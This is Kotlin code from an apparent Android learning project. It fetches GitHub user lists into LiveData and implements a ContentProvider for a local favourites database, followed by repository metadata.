override fun onSuccess(statusCode: Int, headers: Array<out Header>, responseBody: ByteArray) {
try {
val result = String(responseBody)
val jsonArray = JSONArray(result)
for (i in 0 until jsonArray.length()) {
val gitHubUsers = jsonArray.getJSONObject(i)
val listUser = UserData()
listUser.username = gitHubUsers.getString("login")
listUser.type = gitHubUsers.getString("type")
listUser.photoUrl = gitHubUsers.getString("avatar_url")
ListUser.add(listUser)
}
userDataMain.postValue(ListUser)
} catch(e: Exception) {
Log.d(TAG, e.message.toString())
}
}
override fun onFailure(statusCode: Int, headers: Array<out Header>?, responseBody: ByteArray?, error: Throwable?) {
val errorMessage = when (statusCode) {
401 -> "$statusCode: Bad request"
403 -> "$statusCode: Forbidden"
404 -> "$statusCode: NotFound"
else -> "$statusCode: ${error?.message}"
}
Toast.makeText(getApplication(), errorMessage, Toast.LENGTH_SHORT)
}
})
}
internal fun getUserMain(): LiveData<ArrayList<UserData>> {
return userDataMain
}
}<file_sep>/app/src/main/java/com/example/mysubmission2/FavoriteProvider.kt
package com.example.mysubmission2
import android.content.ContentProvider
import android.content.ContentValues
import android.content.Context
import android.content.UriMatcher
import android.database.Cursor
import android.net.Uri
import com.example.mysubmission2.database.DatabaseFavorite.AUTHORITY
import com.example.mysubmission2.database.DatabaseFavorite.FavColumns.Companion.CONTENT_URI
import com.example.mysubmission2.database.DatabaseFavorite.FavColumns.Companion.TABLE_NAME
import com.example.mysubmission2.database.FavoriteHelper
class FavoriteProvider: ContentProvider() {
companion object {
private const val FAV = 1
private const val FAV_ID = 2
private lateinit var favoriteHelper: FavoriteHelper
private val uriMatcher = UriMatcher(UriMatcher.NO_MATCH)
init {
uriMatcher.addURI(AUTHORITY, TABLE_NAME, FAV)
uriMatcher.addURI(AUTHORITY, "$TABLE_NAME/#", FAV_ID)
}
}
override fun onCreate(): Boolean {
favoriteHelper = FavoriteHelper.getInstance(context as Context)
favoriteHelper.open()
return true
}
override fun query(uri: Uri, projection: Array<String>?, selection: String?, selectionArgs: Array<String>?, sortOrder: String?): Cursor? {
return when (uriMatcher.match(uri)) {
FAV -> favoriteHelper.queryAll()
FAV_ID -> favoriteHelper.queryById(uri.lastPathSegment.toString())
else -> null
}
}
override fun getType(uri: Uri): String? {
return null
}
override fun insert(uri: Uri, values: ContentValues?): Uri? {
val added: Long = when (FAV) {
uriMatcher.match(uri) -> favoriteHelper.insert(values)
else -> 0
}
context?.contentResolver?.notifyChange(CONTENT_URI, null)
return Uri.parse("$CONTENT_URI/$added")
}
override fun delete(uri: Uri, selection: String?, selectionArgs: Array<String>?): Int {
val delete: Int = when (FAV_ID) {
uriMatcher.match(uri) -> favoriteHelper.deleteById(uri.lastPathSegment.toString())
else -> 0
}
context?.contentResolver?.notifyChange(CONTENT_URI, null)
return delete
}
override fun update(uri: Uri, values: ContentValues?, selection: String?, selectionArgs: Array<String>?): Int {
val update: Int = when (FAV_ID) {
uriMatcher.match(uri) -> favoriteHelper.update(uri.lastPathSegment.toString(), values)
else -> 0
}
context?.contentResolver?.notifyChange(CONTENT_URI, null)
return update
}
}
|
81ca3d979ba2cb8ca8ea61e558170db8f644070f
|
[
"Kotlin"
] | 20
|
Kotlin
|
yusTIKAmonita/Submission2AndroidFundamental
|
d1893e77670cd158f6aaf1e79d4abec04d8978c6
|
a3bce97dcefc9fdef51e7c92314ad052cad30f6f
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.